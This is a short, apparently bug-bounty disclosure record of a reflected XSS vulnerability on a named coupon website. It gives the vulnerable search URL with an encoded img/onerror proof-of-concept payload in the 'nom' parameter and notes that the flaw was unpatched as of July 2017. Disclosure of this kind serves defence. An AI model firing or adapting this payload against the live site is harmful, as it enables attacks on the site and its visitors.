coupon-valide.com XSS vulnerability

Vulnerable URL: http://www.coupon-valide.com/recherche.php?nom=%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4631530 VIP website...